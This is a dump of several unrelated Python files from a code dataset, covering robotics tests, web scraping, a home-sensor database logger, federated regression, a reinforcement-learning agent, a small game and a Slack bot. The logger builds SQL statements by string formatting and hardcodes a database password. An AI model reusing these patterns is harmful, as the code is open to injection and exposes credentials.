None\n\n timeout_t = time.time() + 60.0\n while not rospy.is_shutdown() and not self.fail_safe_finished and time.time() < timeout_t:\n if self.fail_safe_started:\n foo = int(mission_control_utils.get_var(\"test_counter6_foo\", -1)) #Getting data from fail safe node\n bar = int(mission_control_utils.get_var(\"test_counter6_bar\", -1)) #Getting data from fail safe node\n time.sleep(0.1)\n\n self.assertTrue(self.fail_safe_finished)\n self.assertTrue(self.test_counter6_foo == 10)\n self.assertTrue(self.test_counter6_bar == 100)\n self.assertTrue(foo == 10)\n self.assertTrue(bar == 100)\n\nif __name__ == '__main__':\n import rostest\n rostest.rosrun('mission_control', 'test_watchdog_fail_safe', TestWatchdogFailSafe)\n","sub_path":"test/test_watchdog_fail_safe.py","file_name":"test_watchdog_fail_safe.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"538158825","text":"import scrapy\nfrom ..items import PortoHousingItem\n\nclass PortoHousingSpider(scrapy.Spider):\n name = 'imovirtual'\n start_urls = [\n 'https://www.imovirtual.com/comprar/predio/porto/?search%5Bregion_id%5D=13&search%5Bsubregion_id%5D=190'\n ]\n def parse(self, response):\n\n items = PortoHousingItem()\n\n offer_items = response.css(\"div.offer-item-details\")\n\n for offer in offer_items:\n\n title = offer.css('span.offer-item-title::text').extract()[0]\n price = offer.css('li.offer-item-price::text').extract()[0].replace(' ','')\n\n format = offer.css('.offer-item-rooms::text').extract()\n area = offer.css('.offer-item-area::text').extract()[0]\n #params = response.css('.hidden-xs li::text').extract()\n #type = response.css('span.hidden-xs::text').extract()\n #local = response.css('p.text-nowrap::text').extract()\n\n items['price'] = price\n items['area'] = area\n items['format'] = format\n items['title'] = title\n\n yield items\n\n\n next_page = response.css('li.pager-next a::attr(href)').get()\n\n if next_page is not None:\n yield response.follow(next_page, callback= self.parse)\n","sub_path":"porto_housing/porto_housing/spiders/imovirtual_spider - teste.py","file_name":"imovirtual_spider - teste.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"241087187","text":"import MySQLdb\nfrom time import localtime,strftime\nimport pprint\n\n\ndef Database(device,data):\n print(\"Attempting database\")\n db=MySQLdb.connect(\"localhost\",\"raspberry\",\"helloworld\",\"raspberry\")\n pprint.pprint(data)\n curs=db.cursor()\n\n #Data Variables\n query =\"\"\n temprature = \"\"\n humidity =\"\"\n light_status=\"\"\n date_time = strftime((\"%Y-%m-%d %H:%M:%S\"),localtime())\n if(device == \"1\"):\n #Save the temprature & Humidity\n tableName = \"temprature\"\n temprature=data[0]\n humidity = data[1]\n\n query =\"insert into %s (device,temprature,humidity,date) values('%s','%s','%s','%s')\"%(tableName,device,temprature,humidity,date_time)\n try:\n curs.execute(query)\n db.commit()\n except:\n print(\"Error\")\n db.rollback()\n\n if(device==\"2\"):\n tableName = \"corridor\"\n light_status = \"on\" if(data[1]) else \"off\"\n door_status = \"opened\" if(data[2]) else \"closed\"\n secure = \"secure\" if(data[3]) else \"unsecure\"\n query =\"insert into %s (device,light,door,homesecuriety,date) values('%s','%s','%s','%s','%s')\"%(tableName,device,light_status,door_status,secure,date_time)\n print(query)\n try:\n curs.execute(query)\n db.commit()\n except:\n print(\"Error\")\n db.rollback()\n\n if(device==\"3\"):\n tableName = \"livingroom\"\n light_status = \"on\" if(data[0]) else \"off\"\n tv_status = \"on\" if(data[1]) else \"off\"\n query = \"insert into %s (device,light,tv,date) values('%s','%s','%s','%s')\"%(tableName,device,light_status,tv_status,date_time)\n try:\n curs.execute(query)\n db.commit()\n except:\n print(\"Error\")\n db.rollback()\n\n if(device==\"4\"):\n if(data[0]):\n pprint.pprint(data)\n \n tableName = \"room\"\n light_status = \"on\" if(data[1]) else \"off\"\n window_status = \"opened\" if(data[2]) else \"closed\"\n rainy = \"rainy\" if(data[3]) else \"none\"\n query = \"insert into %s (device,light,window,rainy,date) values('%s','%s','%s','%s','%s')\"%(tableName,device,light_status,window_status,rainy,date_time)\n try:\n curs.execute(query)\n db.commit()\n except:\n print(\"Error\")\n db.rollback()\n print(query)\n","sub_path":"Listening Mode Home Pi/Listening Mode/Devices/Database.py","file_name":"Database.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"553327122","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nThis script includes the remote computations for single-shot ridge\nregression with decentralized statistic calculation\n\"\"\"\nimport argparse\nimport json\nimport sys\nimport scipy as sp\nimport numpy as np\nimport regression as reg\n\n\ndef remote_1(args, computation_phase):\n \"\"\"\n Args:\n args (dictionary): {\n 'output': {\n 'beta_vector_local': ,\n 'r_2_local': ,\n 'ts_local': ,\n 'ps_local': ,\n 'mean_y_local': ,\n 'count_local': ,\n 'computation_phase':\n },\n 'cache': {\n 'covariates': ,\n 'dependents': ,\n 'lambda':\n }\n }\n\n computation_phase (string): field specifying which part (local/remote)\n of the decentralized computation has been\n performed last\n In this case, it has to be empty\n\n Returns:\n computation_output (json) : {\n 'cache': {\n 'avg_beta_vector': ,\n 'mean_y_global': ,\n 'dof_global': ,\n 'dof_local': ,\n 'beta_vector_local': ,\n 'r_2_local': ,\n 'ts_local': ,\n 'ps_local':\n },\n 'output': {\n 'avg_beta_vector': ,\n 'mean_y_global': ,\n 'computation_phase':\n }\n }\n\n Comments:\n Step 1: Calculate the averaged beta vector, mean_y_global & dof_global\n Step 2: Retrieve the local fit statistics and save them in the cache\n \"\"\"\n input_list = args['input']\n\n # Step 1\n avg_beta_vector = np.mean(\n [site['beta_vector_local'] for site in input_list])\n\n mean_y_local = [site['mean_y_local'] for site in input_list]\n count_y_local = [site['count_local'] for site in input_list]\n mean_y_global = np.average(mean_y_local, weights=count_y_local)\n\n dof_global = np.sum(count_y_local) - len(avg_beta_vector)\n\n # Step 2\n beta_vector_local = [site['beta_vector_local'] for site in input_list]\n dof_local = [\n site['count_local'] - len(avg_beta_vector) for site in input_list\n ]\n r_2_local = [site['r_2_local'] for site in input_list]\n ts_local = [site['ts_local'] for site in input_list]\n ps_local = [site['ps_local'] for site in input_list]\n\n computation_output_dict = {\n 'cache': {\n 'avg_beta_vector': avg_beta_vector.tolist(),\n 'mean_y_global': mean_y_global,\n 'dof_global': dof_global,\n 'dof_local': dof_local,\n 'beta_vector_local': beta_vector_local,\n 'r_2_local': r_2_local,\n 'ts_local': ts_local,\n 'ps_local': ps_local\n },\n 'output': {\n 'avg_beta_vector': avg_beta_vector.tolist(),\n 'mean_y_global': mean_y_global,\n 'computation_phase': computation_phase\n }\n }\n\n return json.dumps(\n computation_output_dict,\n sort_keys=True,\n indent=4,\n separators=(',', ': '))\n\n\ndef remote_2(args, computation_phase):\n \"\"\"\n # calculate the global model fit statistics, r_2_global, ts_global,\n # ps_global\n Args:\n args (dictionary): {\n 'output': {\n 'SSE_local': ,\n 'SST_local': ,\n 'varX_matrix_local': ,\n 'computation_phase':\n }\n }\n\n computation_phase (String): field specifying which part (local/remote)\n of the decentralized computation has been\n performed last\n In this case, it has to be empty\n Returns:\n computation_output (json) : {\n 'output': {\n 'avg_beta_vector': ,\n 'beta_vector_local': ,\n 'r_2_global': ,\n 'ts_global': ,\n 'ps_global': ,\n 'r_2_local': ,\n 'ts_local': ,\n 'ps_local': ,\n 'dof_global': ,\n 'dof_local': ,\n 'complete':\n }\n }\n \"\"\"\n cache_list = args['cache']\n input_list = args['input']\n avg_beta_vector = cache_list['avg_beta_vector']\n dof_global = cache_list['dof_global']\n\n SSE_global = np.sum([site['SSE_Local'] for site in input_list])\n SST_global = np.sum([site['SST_Local'] for site in input_list])\n varX_matrix_global = np.sum(\n [site['varX_matrix_Local'] for site in input_list])\n\n r_squared_global = 1 - (SSE_global / SST_global)\n MSE = SSE_global / dof_global\n var_covar_beta_global = MSE * sp.linalg.inv(varX_matrix_global)\n se_beta_global = np.sqrt(var_covar_beta_global.diagonal())\n ts_global = avg_beta_vector / se_beta_global\n ps_global = reg.t_to_p(ts_global, dof_global)\n\n computation_output_dict = {\n 'output': {\n 'avg_beta_vector': cache_list['avg_beta_vector'],\n 'beta_vector_local': cache_list['beta_vector_local'],\n 'r_2_global': r_squared_global,\n 'ts_global': ts_global,\n 'ps_global': ps_global,\n 'r_2_local': cache_list['r_2_local'],\n 'ts_local': cache_list['ts_local'],\n 'ps_local': cache_list['ps_local'],\n 'dof_global': cache_list['dof_global'],\n 'dof_local': cache_list['dof_local'],\n 'complete': True\n }\n }\n\n return json.dumps(\n computation_output_dict,\n sort_keys=True,\n indent=4,\n separators=(',', ': '))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='help read in coinstac \\\n input from local node')\n parser.add_argument('--run', type=json.loads, help='grab coinstac args')\n args = parser.parse_args()\n parsed_args = args.run\n\n # *******block 1*********\n if input_list[0]['computation_phase'] == 'local_1':\n computation_phase = 'remote_1'\n computation_output = remote_1(parsed_args, computation_phase)\n sys.stdout.write(computation_output)\n\n # *******block 2********#\n elif input_list[0]['computation_phase'] == 'local_2':\n computation_phase = 'remote_2'\n # step 1 calculate the global model fit statistics,\n # r_2_global, t_global, p_global\n computation_output = remote_2(parsed_args, computation_phase)\n sys.stdout.write(computation_output)\n else:\n raise ValueError(\"Errors occurred\")\n","sub_path":"remote.py","file_name":"remote.py","file_ext":"py","file_size_in_byte":7883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"510053592","text":"import random\nimport numpy as np\nfrom collections import deque\nfrom keras.layers import Dense\nfrom keras.optimizers import Adam\nfrom keras import backend as K\nfrom keras.layers import Input\nfrom keras.models import Model\nimport tensorflow as tf\nfrom keras.models import Sequential\nfrom keras.layers import Conv1D\nfrom keras.layers import Conv2D\nfrom keras.layers import Reshape\nfrom keras.layers import Flatten\n\nBIT_RATE = [500.0,850.0,1200.0,1850.0]\n\nclass DQNAgent:\n def __init__(self, state_size, action_size):\n self.state_size = state_size\n self.action_size = action_size\n self.memory = deque(maxlen=200000)\n self.gamma = 0.95 # discount rate\n self.epsilon = 0.0 # exploration rate\n self.epsilon_min = 0.0\n self.epsilon_decay = 0.0\n self.learning_rate = 0.0001\n self.model = self._build_model()\n self.target_model = self._build_model()\n self.update_target_model()\n\n def _huber_loss(self, y_true, y_pred, clip_delta=1.0):\n error = y_true - y_pred\n cond = K.abs(error) <= clip_delta\n\n squared_loss = 0.5 * K.square(error)\n quadratic_loss = 0.5 * K.square(clip_delta) + clip_delta * (K.abs(error) - clip_delta)\n\n return K.mean(tf.where(cond, squared_loss, quadratic_loss))\n\n def _build_model(self):\n # Neural Net for Deep-Q learning Model\n model = Sequential()\n # model.add(Dense(128,input_dim=self.state_size, activation='relu'))\n model.add(Reshape((50,5),input_shape=(self.state_size,)))\n model.add(Conv1D(5,kernel_size=4, activation='relu'))\n model.add(Flatten())\n model.add(Dense(128, activation='relu'))\n model.add(Dense(128, activation='relu'))\n model.add(Dense(self.action_size, activation='relu'))\n model.compile(loss=self._huber_loss,\n optimizer=Adam(lr=self.learning_rate))\n return model\n\n def update_target_model(self):\n # copy weights from model to target_model\n self.target_model.set_weights(self.model.get_weights())\n\n def remember(self, state, action, reward, next_state, done):\n self.memory.append((state, action, reward, next_state, done))\n\n def act(self, state):\n if np.random.rand() <= self.epsilon:\n return random.randrange(self.action_size)\n act_values = self.model.predict(state)\n return np.argmax(act_values[0]) # returns action\n\n def replay(self, batch_size):\n minibatch = random.sample(self.memory, batch_size)\n for state, action, reward, next_state, done in minibatch:\n target = self.model.predict(state)\n if done:\n target[0][action] = reward\n else:\n a = self.model.predict(next_state)[0]\n t = self.target_model.predict(next_state)[0]\n # target[0][action] = reward + self.gamma * np.amax(t)\n target[0][action] = reward + self.gamma * t[np.argmax(a)]\n self.model.fit(state, target, epochs=1, verbose=0)\n if self.epsilon > self.epsilon_min:\n self.epsilon -= self.epsilon_decay\n\n def load(self, name):\n self.model.load_weights(name)\n\n def save(self, name):\n self.model.save_weights(name)\n\n\nclass Algorithm:\n def __init__(self):\n # fill your init vars\n self.state_size = 250\n self.action_size = 64\n self.history_len = 50\n self.BITRATE = [0, 1, 2, 3]\n self.TARGET_BUFFER = [0, 1, 2, 3]\n self.LATENCY_LIMIT = [1, 2, 3, 4]\n self.ACTION_SAPCE = []\n self.agent = DQNAgent(self.state_size, self.action_size)\n\n # Intial\n def Initial(self,model_name):\n # name = \"save/16.h5\"\n name = str(model_name+\"100.h5\")\n self.agent.load(name)\n\n for i in self.BITRATE:\n for j in self.TARGET_BUFFER:\n for k in self.LATENCY_LIMIT:\n action_apace = []\n action_apace.append(i)\n action_apace.append(j)\n action_apace.append(k)\n self.ACTION_SAPCE.append(action_apace)\n\n #Define your al\n def run(self, time, S_time_interval, S_send_data_size, S_chunk_len, S_rebuf, S_buffer_size, S_play_time_len,\n S_end_delay, S_decision_flag, S_buffer_flag, S_cdn_flag, S_skip_time, end_of_video, cdn_newest_id,\n download_id, cdn_has_frame, IntialVars, start_avgbw):\n\n target_buffer = 1\n latency_limit = 4\n\n state = []\n length = len(S_time_interval)\n history_len = self.history_len\n for i in S_buffer_size[length-history_len:]:\n state.append(i*0.1)\n for i in S_send_data_size[length-history_len:]:\n state.append(i*0.00001)\n for i in S_time_interval[length-history_len:]:\n state.append(i*10)\n for i in S_end_delay[length-history_len:]:\n state.append(i*0.1)\n for i in S_rebuf[length-history_len:]:\n state.append(i)\n\n state = np.reshape(state, [1, self.state_size])\n # print(state)\n action = self.agent.act(state)\n bit_rate = self.ACTION_SAPCE[action][0]\n target_buffer = self.ACTION_SAPCE[action][1]\n latency_limit = self.ACTION_SAPCE[action][2]\n\n return bit_rate, target_buffer,latency_limit\n","sub_path":"PDDQN_.py","file_name":"PDDQN_.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"302721933","text":"# -*- coding: utf-8 -*-\r\n\r\nimport random\r\nimport collections\r\n\r\nfrom pytz import utc\r\n\r\nfrom pymongo import MongoClient\r\nfrom apscheduler.schedulers.blocking import *\r\nfrom apscheduler.jobstores.mongodb import MongoDBJobStore\r\nfrom apscheduler.jobstores.memory import MemoryJobStore\r\nfrom apscheduler.executors.pool import ThreadPoolExecutor, ProcessPoolExecutor\r\nfrom apscheduler.events import *\r\n\r\nimport threading\r\n\r\nlock = threading.Lock()\r\n\r\n\r\nhost = '127.0.0.1'\r\nport = 27017\r\nclient = MongoClient(host, port)\r\n\r\njobstores = {\r\n 'mongo': MongoDBJobStore(collection='job', database='game', client=client),\r\n 'default': MemoryJobStore()\r\n}\r\nexecutors = {\r\n 'default': ThreadPoolExecutor(10),\r\n 'processpool': ProcessPoolExecutor(3)\r\n}\r\njob_defaults = {\r\n 'coalesce': False,\r\n 'max_instances': 3\r\n}\r\n\r\n\r\nclass Unit:\r\n def __init__(self,name):\r\n self.name = name\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n def after_dead(self):\r\n pass\r\n\r\n def when_init(self):\r\n pass\r\n\r\n\r\nclass Hero(Unit):\r\n '''Hero: a role of the game\r\n name: the name of the hero\r\n life: the life of the hero\r\n damage: damage per second\r\n shield: the life of shield\r\n '''\r\n def __init__(self, name, life, damage, shield, speed):\r\n self.name = name\r\n self.life0 = self.life = life\r\n self.damage = damage\r\n self.shield0 = self.shield = shield\r\n self.speed = speed\r\n self._army = None\r\n\r\n @staticmethod\r\n def fromStr(s):\r\n # str -> Hero\r\n name, life, damage, shield, speed = s.split()\r\n return Hero(name, int(life), int(damage), int(shield), float(speed))\r\n \r\n def hit(self, other):\r\n assert isinstance(other, Army)\r\n with lock:\r\n if other:\r\n hero = other.random()\r\n else:\r\n raise ValueError('there is no hero left in the army %s'%other)\r\n print('%s 攻击 %s'%(self, hero))\r\n if not hero.shieldbreak():\r\n hero.shield -= self.damage\r\n if hero.shieldbreak():\r\n print('%s 护盾破裂'%hero)\r\n else:\r\n hero.life -= self.damage\r\n if hero.isdead():\r\n other -= hero\r\n return hero, other\r\n\r\n def shieldbreak(self):\r\n return self.shield <= 0\r\n\r\n def isdead(self):\r\n return self.life <= 0\r\n \r\n def reset(self):\r\n self.life = self.life0\r\n self.shield = self.shield0\r\n\r\n\r\nclass Army(Unit, collections.UserList):\r\n def __init__(self, name, heros):\r\n self.name = name\r\n self.data = heros\r\n\r\n def copy(self):\r\n import copy\r\n return copy.deepcopy(self)\r\n\r\n def random(self):\r\n return random.choice(self)\r\n\r\n @staticmethod\r\n def fromStr(name, s):\r\n # str -> Army\r\n heros = s.split(';')\r\n return Army(name, [Hero.fromStr(h) for h in heros])\r\n\r\n def __iadd__(self, other):\r\n if isinstance(other, Hero):\r\n self.append(other)\r\n else:\r\n self.extend(other)\r\n return self\r\n\r\n def __add__(self, other):\r\n cpy = self.copy()\r\n cpy += other\r\n return cpy\r\n\r\n def __isub__(self, other):\r\n if isinstance(other, Hero):\r\n self.remove(other)\r\n else:\r\n for h in other:\r\n self.remove(h)\r\n return self\r\n\r\n def __sub__(self, other):\r\n cpy = self.copy()\r\n cpy -= other\r\n return cpy\r\n\r\n @property\r\n def damage(self):\r\n return sum(hero.damage for hero in self)\r\n \r\n def isdead(self):\r\n return len(self) == 0\r\n\r\n\r\n\r\nclass Game(object):\r\n '''Game has 3 (principal) propteries\r\n title: title\r\n army1: army1\r\n army2: army2'''\r\n def __init__(self, title, army1=None, army2=None):\r\n self.title = title\r\n self.army1 = army1\r\n self.army2 = army2\r\n self._scheduler = None\r\n\r\n def init(self):\r\n scheduler = BlockingScheduler(jobstores=jobstores, executors=executors, job_defaults=job_defaults, timezone=utc)\r\n\r\n for h in self.army1:\r\n scheduler.add_job(h.hit, 'interval', args=(self.army2,), seconds=h.speed, id=str(h))\r\n for h in self.army2:\r\n scheduler.add_job(h.hit, 'interval', args=(self.army1,), seconds=h.speed, id=str(h))\r\n\r\n # def check(army1, army2):\r\n # if army1.isdead() or army2.isdead():\r\n # scheduler.shutdown()\r\n # scheduler.add_job(check, 'interval', args=(army1, army2), seconds=5, id='check')\r\n\r\n def rmjob(evt):\r\n # remove a job\r\n hero, army = evt.retval\r\n if hero:\r\n if hero.isdead():\r\n scheduler.remove_job(str(hero))\r\n print('%s 阵亡'%hero)\r\n else:\r\n print('%s 还剩余生命值 %d'%(hero, hero.life))\r\n if army.isdead():\r\n try:\r\n scheduler.shutdown()\r\n except RuntimeError:\r\n print('%s 全军覆没'%army)\r\n\r\n scheduler.add_listener(rmjob, EVENT_JOB_EXECUTED)\r\n self._scheduler = scheduler\r\n\r\n\r\n def start(self):\r\n try:\r\n self._scheduler.start()\r\n except ValueError as v:\r\n print(v)\r\n finally:\r\n client.close()\r\n\r\n\r\nif __name__ ==\"__main__\":\r\n\r\n army1 = Army.fromStr('袁军', '袁绍 500 10 100 1;颜良 200 30 30 1;文丑 200 30 30 2')\r\n army2 = Army.fromStr('曹军', '曹操 800 30 200 2;荀彧 100 20 600 3;许褚 100 20 10 1')\r\n\r\n threeKingdoms = Game('官渡之战:东汉末年三大战役之一', army1=army1, army2=army2)\r\n threeKingdoms.init()\r\n threeKingdoms.start()\r\n \r\n\r\n\r\n","sub_path":"tinygame.py","file_name":"tinygame.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"303333002","text":"def solve(N):\r\n if N == 0: return \"INSOMNIA\"\r\n x = N\r\n missing = set(range(10))\r\n while missing:\r\n y = x\r\n while missing and y > 0:\r\n d = y % 10\r\n y //= 10\r\n missing.discard(d)\r\n x += N\r\n return x - N\r\n\r\nif __name__ == \"__main__\":\r\n T = int(input())\r\n for t in range(1, T+1):\r\n N = int(input())\r\n print (\"Case #%d: %s\" % (t, solve(N)))\r\n","sub_path":"codes/CodeJamCrawler/16_0_1_neat/16_0_1_wysek_counting.py","file_name":"16_0_1_wysek_counting.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"148394942","text":"\"\"\"Common get info functions for configuration\"\"\"\r\n\r\n# Python\r\nimport logging\r\n\r\n# Genie\r\nfrom genie.utils.timeout import Timeout\r\nfrom genie.metaparser.util.exceptions import SchemaEmptyParserError\r\n\r\nlog = logging.getLogger(__name__)\r\n\r\ndef get_configuration_mpls_label_switched_path_name(device, path):\r\n \"\"\" Get path name from show configuration protocols mpls label-switched-path {path}\r\n\r\n Args:\r\n device (obj): Device object\r\n path (str): File to check\r\n\r\n Returns:\r\n str or None: Configured primary name\r\n \"\"\"\r\n\r\n # Example dict\r\n # \"configuration\": {\r\n # \"protocols\": {\r\n # \"mpls\": {\r\n # \"label-switched-path\": {\r\n # \"primary\": {\r\n # \"name\": str,\r\n # }\r\n # }\r\n # }\r\n # }\r\n # }\r\n\r\n try:\r\n out = device.parse('show configuration protocols mpls label-switched-path {path}'.format(\r\n path=path\r\n ))\r\n except SchemaEmptyParserError:\r\n return None\r\n\r\n return out.q.get_values('name', 0) or None\r\n\r\n\r\ndef get_configuration_mpls_paths(device, path):\r\n \"\"\" Get all paths from show configuration protocols mpls path {path}\r\n\r\n Args:\r\n device (obj): Device object\r\n path (str): Path to check\r\n\r\n Returns:\r\n List or None: All path addresses\r\n \"\"\"\r\n\r\n # Example dict\r\n # \"configuration\": {\r\n # \"protocols\": {\r\n # \"mpls\": {\r\n # \"path\": {\r\n # \"path-list\": [{\r\n # 'name': str,\r\n # }]\r\n # }\r\n # }\r\n # }\r\n # }\r\n\r\n try:\r\n out = device.parse('show configuration protocols mpls path {path}'.format(\r\n path=path\r\n ))\r\n except SchemaEmptyParserError:\r\n return None\r\n\r\n return out.q.get_values('name') or None","sub_path":"pkgs/sdk-pkg/src/genie/libs/sdk/apis/junos/configuration/get.py","file_name":"get.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"2275838","text":"import os\nimport pandas as pd\nfrom scipy.ndimage import imread\n\n\ndef df_for_scatter(path_to_dataset):\n categories = os.listdir(path_to_dataset)\n names_list = []\n categories_list = []\n height_list = []\n width_list = []\n for category in categories:\n temp_path = os.path.join(path_to_dataset, category)\n for name in os.listdir(temp_path):\n names_list.append(name)\n categories_list.append(category)\n temp_size = imread(os.path.join(temp_path, name)).shape\n height_list.append(temp_size[0])\n width_list.append(temp_size[1])\n\n df = pd.DataFrame({'name': names_list,\n 'category': categories_list,\n 'height (px)': height_list,\n 'width (px)': width_list})\n return df\n\n\ndef count_of_categories(path_to_dataset):\n categories = os.listdir(path_to_dataset)\n result_df = {}\n for category in categories:\n result_df[category] = len(os.listdir(os.path.join(path_to_dataset, category)))\n return result_df\n\n","sub_path":"src/visualization/scatter_size.py","file_name":"scatter_size.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"404788195","text":"from random import random, uniform\nfrom vector import *\nfrom math import cos, sin, pi\n\nclass Spike:\n\n\tdef __init__(self, pos, vel, rCircle, phase):\n\t\tself.pos = pos\n\t\tself.vel = vel\n\t\tself.size = 9\n\t\tself.r = 150\n\t\tself.circle = rCircle\n\t\tself.spike = 1\n\t\tself.phase = phase\n\t\tself.count = 2 * pi * 1 / (self.vel.magnitude()/self.r) # count = 2pi/omega\n\t\tself.t = 0\n\n\tdef step(self):\n\t\tomega = self.vel.magnitude()/self.r\n\t\t#print omega\n\t\t#print self.count\n\n\t\tdx = self.r * omega * -sin(omega*self.t + self.phase * pi/2)\n\t\tdy = self.r * omega * cos(omega*self.t + self.phase * pi/2)\n\t\tif self.t >= self.count:\n\t\t\tself.t = 0\n\t\telse:\n\t\t\tself.vel.x = dx\n\t\t\tself.vel.y = dy\n\t\t\tself.pos.add(Vector(dx, dy, 0))\n\t\t\tself.t = self.t + 1\n","sub_path":"simulation/spike.py","file_name":"spike.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"182818835","text":"import argparse\n\n\ndef parse_arguments():\n parser = argparse.ArgumentParser()\n parser.add_argument('number')\n number_value = parser.parse_args().number\n return number_value\n\n\ndef format_price(price):\n price_string = try_to_float_else_throw_exception(price)\n formatted_price_string = []\n left_side_string, right_side_string = price_string.split('.')[0], price_string.split('.')[1]\n left_side = make_left_side(left_side_string)\n formatted_price_string.append(left_side)\n if bool(int(right_side_string)) is not False:\n formatted_price_string.append(right_side_string)\n return '.'.join(formatted_price_string)\n\n\ndef try_to_float_else_throw_exception(price):\n try:\n if price.count(\",\") is 1:\n formatted_price = price.replace(\",\", \".\")\n price_string = str(float(formatted_price))\n return price_string\n price_string = str(float(price))\n return price_string\n except ValueError:\n print(\" '{}' не является допустимым значением.\".format(price))\n quit()\n\n\ndef make_left_side(left_side_string):\n formatted_price = separate_by_3_signs_from_right(left_side_string)\n return formatted_price\n\n\ndef separate_by_3_signs_from_right(string):\n \"\"\"\n Функция форматирует строку, ставя разделитель в виде пробела после\n каждого 3-го числа. Так как отсчет для разделения начинаем слева, делаем\n реверс строки и разделяем ее, после чего делаем реверс обратно. \n \"\"\"\n signs_in_1000 = 3\n reversed_left_side = string[::-1]\n reversed_list_of_separated_elements = []\n for elem_index in range(0, len(reversed_left_side), signs_in_1000):\n reversed_three_sign_list = reversed_left_side[elem_index: elem_index+signs_in_1000]\n three_sign_string = ''.join(list(reversed(reversed_three_sign_list)))\n reversed_list_of_separated_elements.append(three_sign_string)\n formatted_string = ' '.join(list(reversed(reversed_list_of_separated_elements)))\n return formatted_string\n\n\ndef output_value(value):\n print(\"Отформатированное значение - {}\".format(value))\n\n\nif __name__ == '__main__':\n number_value = parse_arguments()\n formatted_value = format_price(number_value)\n output_value(formatted_value)\n","sub_path":"format_price.py","file_name":"format_price.py","file_ext":"py","file_size_in_byte":2458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"43889150","text":"import calendar\nfrom datetime import date\nimport random\n\nfrom slackbot.bot import respond_to\nfrom slackbot import settings\nimport slacker\nimport git\n\nfrom ..botmessage import botsend, botreply, botwebapi\n\n\n@respond_to('^help$')\ndef help(message):\n \"\"\"\n helpページのURLを返す\n \"\"\"\n botsend(message, 'ヘルプはこちら→ https://github.com/pyconjp/pyconjpbot#commands')\n\n\n@respond_to('^shuffle\\s+(.*)')\ndef shuffle(message, words):\n \"\"\"\n 指定したキーワードをシャッフルして返す\n \"\"\"\n words = words.split()\n if len(words) == 1:\n botsend(message, 'キーワードを複数指定してください\\n`$shuffle word1 word2...`')\n else:\n random.shuffle(words)\n botsend(message, ' '.join(words))\n\n\n@respond_to('^choice\\s+(.*)')\ndef choice(message, words):\n \"\"\"\n 指定したキーワードから一つを選んで返す\n \"\"\"\n words = words.split()\n if len(words) == 1:\n botsend(message, 'キーワードを複数指定してください\\n`$choice word1 word2...`')\n else:\n botsend(message, random.choice(words))\n\n\n@respond_to('^ping$')\ndef ping(message):\n \"\"\"\n pingに対してpongで応答する\n \"\"\"\n botreply(message, 'pong')\n\n\n@respond_to('^version$')\ndef version(message):\n \"\"\"\n バージョン情報を返す\n \"\"\"\n obj = git.Repo('').head.object\n url = \"https://github.com/pyconjp/pyconjpbot/commit/{}\".format(obj.hexsha)\n text = \"<{}|{}> {} - {}({})\".format(\n url, obj.hexsha[:6], obj.summary,\n obj.committer.name, obj.committed_datetime)\n attachments = [{\n 'pretext': text,\n }]\n botwebapi(message, attachments)\n\n\n@respond_to('^random$')\n@respond_to('^random\\s+(active|help)$')\ndef random_command(message, subcommand=None):\n \"\"\"\n チャンネルにいるメンバーからランダムに一人を選んで返す\n\n - https://github.com/os/slacker\n - https://api.slack.com/methods/channels.info\n - https://api.slack.com/methods/users.getPresence\n - https://api.slack.com/methods/users.info\n \"\"\"\n\n if subcommand == 'help':\n botsend(message, '''- `$random`: チャンネルにいるメンバーからランダムに一人を選ぶ\n- `$random active`: チャンネルにいるactiveなメンバーからランダムに一人を選ぶ\n''')\n return\n\n # チャンネルのメンバー一覧を取得\n channel = message.body['channel']\n webapi = slacker.Slacker(settings.API_TOKEN)\n cinfo = webapi.channels.info(channel)\n members = cinfo.body['channel']['members']\n\n # bot の id は除く\n bot_id = message._client.login_data['self']['id']\n members.remove(bot_id)\n\n member_id = None\n while not member_id:\n # メンバー一覧からランダムに選んで返す\n member_id = random.choice(members)\n if subcommand == 'active':\n # active が指定されている場合は presence を確認する\n presence = webapi.users.get_presence(member_id)\n if presence.body['presence'] == 'away':\n members.remove(member_id)\n member_id = None\n\n user_info = webapi.users.info(member_id)\n name = user_info.body['user']['name']\n botsend(message, '{} さん、君に決めた!'.format(name))\n\n\n@respond_to('^cal$')\n@respond_to('^cal\\s+(\\d+)$')\n@respond_to('^cal\\s+(\\d+)\\s+(\\d+)$')\ndef cal_command(message, month=None, year=None):\n \"\"\"\n 一ヶ月のカレンダーを返す\n \"\"\"\n today = date.today()\n month = int(month) if month else today.month\n year = int(year) if year else today.year\n\n cal = calendar.TextCalendar(firstweekday=calendar.SUNDAY)\n try:\n botsend(message, '```{}```'.format(cal.formatmonth(year, month)))\n except IndexError:\n # 数字が範囲外の場合は無視する\n pass\n\n\n@respond_to('^cal\\s+help$')\ndef cal_help(message):\n \"\"\"\n cal コマンドのヘルプを返す\n \"\"\"\n botsend(message, '''- `$cal`: 今月のカレンダーを返す\n- `$cal 9`: 今年の指定された月のカレンダーを返す\n- 